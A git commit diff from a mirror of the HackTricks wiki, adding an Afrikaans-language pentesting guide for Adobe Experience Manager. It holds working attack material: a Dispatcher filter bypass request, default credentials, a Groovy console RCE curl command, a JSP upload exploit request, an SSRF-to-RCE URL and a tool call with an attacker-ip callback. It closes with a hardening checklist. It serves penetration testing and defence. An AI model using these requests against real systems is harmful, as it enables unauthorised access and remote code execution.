mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
7f360401bd
commit
51c2959dbd
@ -1,5 +1,117 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
# AEM (Adobe Experience Manager) Pentesting
|
||||||
|
|
||||||
Vind kwesbaarhede en verkeerde konfigurasies met [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
> Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop.
|
||||||
|
> Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard geloofsbriewe en 'n lang ster van CVE's bloot wat elke kwartaal reggestel word.
|
||||||
|
|
||||||
|
Die kontrolelys hieronder fokus op **extern bereikbare (unauth) aanval oppervlak** wat voortdurend in werklike betrokkenhede verskyn (2022-2025).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Fingerprinting
|
||||||
|
```
|
||||||
|
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||||
|
X-Content-Type-Options: nosniff
|
||||||
|
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||||
|
X-Vary: Accept-Encoding
|
||||||
|
```
|
||||||
|
Ander vinnige aanwysers:
|
||||||
|
* `/etc.clientlibs/` statiese pad teenwoordig (gee JS/CSS terug).
|
||||||
|
* `/libs/granite/core/content/login.html` aanmeldblad met die “Adobe Experience Manager” banier.
|
||||||
|
* `</script><!--/* CQ */-->` kommentaar aan die onderkant van HTML.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Hoëwaarde nie-geoutentiseerde eindpunte
|
||||||
|
|
||||||
|
Pad | Wat jy kry | Aantekeninge
|
||||||
|
---- | ------------- | -----
|
||||||
|
`/.json`, `/.1.json` | JCR knope via **DefaultGetServlet** | Dikwels geblokkeer, maar *Dispatcher omseiling* (sien hieronder) werk.
|
||||||
|
`/bin/querybuilder.json?path=/` | QueryBuilder API | Lek van bladboom, interne pades, gebruikersname.
|
||||||
|
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsole | 403 per standaard; as blootgestel & akrediteer gevind ⇒ bundel-oplaai RCE.
|
||||||
|
`/crx/packmgr/index.jsp` | Pakketbestuurder | Laat geoutentiseerde inhoudspakkette toe → JSP payload oplaai.
|
||||||
|
`/etc/groovyconsole/**` | AEM Groovy Konsole | As blootgestel → arbitrêre Groovy / Java uitvoering.
|
||||||
|
`/libs/cq/AuditlogSearchServlet.json` | Oudit logs | Inligtingsontsluiting.
|
||||||
|
`/libs/cq/ui/content/dumplibs.html` | ClientLibs storting | XSS vektor.
|
||||||
|
|
||||||
|
### Dispatcher omseiling truuk
|
||||||
|
Meeste produksie webwerwe sit agter die *Dispatcher* (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding **na 'n puntkomma of geënkodeerde nuwe lyn** by te voeg:
|
||||||
|
```
|
||||||
|
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||||
|
```
|
||||||
|
'n Enkele versoek soos hierbo openbaar gereeld gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Algemene miskonfigurasies (nog steeds lewendig in 2025)
|
||||||
|
|
||||||
|
1. **Anonieme POST servlet** – `POST /.json` met `:operation=import` laat jou toe om nuwe JCR knope te plant. Om `*.json` POST in die Dispatcher te blokkeer, los dit op. 【】
|
||||||
|
2. **Wêreldleesbare gebruikersprofiele** – standaard ACL verleen `jcr:read` op `/home/users/**/profile/*` aan almal.
|
||||||
|
3. **Standaard akrediteer** – `admin:admin`, `author:author`, `replication:replication`.
|
||||||
|
4. **WCMDebugFilter** geaktiveer ⇒ weerspieëlde XSS via `?debug=layout` (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies).
|
||||||
|
5. **Groovy Console blootgestel** – afstandkode-uitvoering deur 'n Groovy-skrip te stuur:
|
||||||
|
```bash
|
||||||
|
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Onlangse kwesbaarhede (dienspakket ritme)
|
||||||
|
|
||||||
|
Kwartaal | CVE | Aangetaste | Impak
|
||||||
|
------- | --- | -------- | ------
|
||||||
|
Des 2024 | **CVE-2024-43711** | 6.5.21 en vroeër | Onbehoorlike invoervalidasie → **Arbitraire kode-uitvoering** (vereis lae-priv akte). 【】
|
||||||
|
Des 2024 | CVE-2024-43724/26 | 6.5.21 en vroeër | DOM / Gestoor XSS in Move Page Wizard. 【】
|
||||||
|
Des 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-gebaseerde XSS via vervaardigde URL. 【】
|
||||||
|
Des 2022 | CVE-2022-30683 | ≤ 6.5.13 | Krypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】
|
||||||
|
|
||||||
|
Kontroleer altyd die *APSB* bulletin wat ooreenstem met die kliënt se dienspakket en vra die nuutste **6.5.22** of *Cloud Service 2024.11*.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Exploitasiestukke
|
||||||
|
|
||||||
|
### 5.1 RCE via dispatcher omseiling + JSP opgelaai
|
||||||
|
As anonieme skryf moontlik is:
|
||||||
|
```
|
||||||
|
# 1. Create a node that will become /content/evil.jsp
|
||||||
|
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
:contentType=text/plain
|
||||||
|
jcr:data=<% out.println("pwned"); %>
|
||||||
|
:operation=import
|
||||||
|
```
|
||||||
|
Now request `/content/evil.jsp` – die JSP loop met die AEM proses gebruiker.
|
||||||
|
|
||||||
|
### 5.2 SSRF na RCE (histories < 6.3)
|
||||||
|
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||||
|
`aem_ssrf2rce.py` van **aem-hacker** outomatiseer die volle ketting. 【】
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Gereedskap
|
||||||
|
|
||||||
|
* **aem-hacker** – Swiss-army enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer.
|
||||||
|
```bash
|
||||||
|
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||||
|
```【】
|
||||||
|
* **Inhoud Brute-force** – herhalend versoek `/_jcr_content.(json|html)` om versteekte komponente te ontdek.
|
||||||
|
* **osgi-infect** – laai kwaadwillige OSGi bundel op via `/system/console/bundles` as kredens beskikbaar is.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Versterking kontrolelys (vir jou verslag se aanbevelings)
|
||||||
|
|
||||||
|
1. Hou die instansie op die **nuutste kumulatiewe dienspakket** (soos van Jul 2025: 6.5.22).
|
||||||
|
2. Verwyder/roteer standaard rekeninge; afdwing SSO/SAML.
|
||||||
|
3. Versterk **Dispatcher filters** – weier `;`, geënkodeerde nuwe reëls, en `*.json` of `*.querybuilder.json` vir anonieme gebruikers.
|
||||||
|
4. Deaktiveer of beskerm consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) met IP toelaat-lists.
|
||||||
|
5. Pas die *Anonieme Toestemming Versterking* pakket toe wat deur Adobe gestuur is.
|
||||||
|
|
||||||
|
## Verwysings
|
||||||
|
|
||||||
|
* Adobe Security Bulletin APSB24-69 – “Veiligheidsopdaterings vir Adobe Experience Manager (Des 2024)”.
|
||||||
|
* 0ang3el – aem-hacker hulpmiddel (GitHub).
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user